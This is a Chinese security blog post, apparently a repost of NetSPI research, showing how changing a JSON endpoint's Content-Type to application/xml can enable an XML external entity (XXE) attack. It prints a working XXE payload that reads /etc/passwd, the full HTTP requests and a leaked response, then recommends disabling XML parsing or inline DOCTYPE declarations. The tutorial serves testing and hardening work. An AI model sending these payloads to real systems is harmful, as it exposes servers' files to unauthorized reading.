• 神奇的Content-Type——在JSON中玩转XXE攻击


    大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务。而在如SOAP、RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON。当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击。

    XXE是一种针对XML终端实施的攻击,黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样的话,黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。在下面的例子中,我们将一个外部实体指向了WEB服务器上的/etc/passwd,该实体就是包含在XML的payload里的。

    1
    2
    3
    4
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    [some xml content..]
    <element>&xxe;</element>
    [some xml content..]

    以上就是一个简洁有效的攻击,我们来看看如何利用Content-Type头和HTTP请求的payload,是否也能黑掉JSON的终端。下面是一个JSON请求样本,它将Content-Type设置为application/json,其中精简了大部分内容。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    HTTP Request:
    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/json
    Content-Length: 38
    {"search":"name","value":"netspitest"}
    HTTP Response:
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43
    {"error": "no results for name netspitest"}

    如果Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的。但如果你实际传过去的不是该格式的话,服务器不会进行解析,并且会报如下的错:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    HTTP Request:
    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 38
    {"search":"name","value":"netspitest"}
    HTTP Request:
    HTTP/1.1 500 Internal Server Error
    Content-Type: application/json
    Content-Length: 127
    {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

    该错误提示指出,服务器能够处理XML格式和JSON格式的数据,但现在服务器收到的真实数据格式并不是在Content-Type里声明的XML格式,所以这里自然不能被解析啦。为了解决这个问题,JSON格式被强行转换为XML格式。如果你想做这样的转换,网上有不少在线工具,Eric Gruber曾写了一个Burpsuite插件(Content-Type Converter),可以自动在Burpsuite里转换格式。

    1
    2
    Original JSON
    {"search":"name","value":"netspitest"}
    1
    2
    3
    4
    XML Conversion
    <?xml version="1.0" encoding="UTF-8" ?>
    <search>name</search>
    <value>netspitest</value>

    然而,这样直接转换过来的XML文档很明显是无效的,它并没有XML格式文件所必须的<root>元素。如果这个XML格式的文件被发送到服务器上,有可能服务器会为此响应一个错误消息,所有最好的做法是为该转换过的XML文档加一个<root>元素。

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8" ?>
    <root>
    <search>name</search>
    <value>netspitest</value>
    </root>

    现在原始的JSON请求可以被转换为XML发送给服务器,然后获得一个有效响应。

    1
    2
    3
    4
    5
    6
    HTTP Request:
    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 112
    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="UTF-8" ?>
    <root>
    <search>name</search>
    <value>netspitest</value>
    </root>
    1
    2
    3
    4
    5
    HTTP Response:
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43
    {"error": "no results for name netspitest"}

    因为在这里服务器是可以接收XML的数据的,黑客能由此对JSON终端实施XXE攻击。

    1
    2
    3
    4
    5
    6
    HTTP Request:
    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 288
    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <search>name</search>
    <value>&xxe;</value>
    </root>

    黑客在这里就可以读到/etc/passwd的文件内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    HTTP Response:
    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 2467
    {"error": "no results for name root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync....

    显然,不是每一个JSON终端都会接收XML格式,改变Content-Type并没有太大用处,有可能你只会得到一个415的数据类型不支持错误。但是,JSON转换为XML的攻击不会只限制于通过post传输带有JSON内容的payload,我就曾经看见以GET形式传输相应参数的案例。如果JSON的参数被转换为XML,服务器会自己判断content type的真实类型。

    通过以上的实验我们可以得出结论,如果你想要加固JSON终端,XML解析必须被禁用,或者你必须禁用内联DOCTYPE声明,以此防御XML外部实体注入攻击。

  • 相关阅读:
    分布式存储
    存储知识学习
    洛谷 P1003 铺地毯 (C/C++, JAVA)
    多线程面试题系列3_生产者消费者模式的两种实现方法
    多线程面试题系列2_监视线程的简单实现
    多线程面试题系列1_数组多线程分解
    《深度学习》阅读笔记1
    素数在两种常见情况下的标准最优算法
    dfs与dp算法之关系与经典入门例题
    百度之星资格赛2018B题-子串查询
  • 原文地址:https://www.cnblogs.com/blacksunny/p/7891495.html
Copyright © 2020-2023  润新知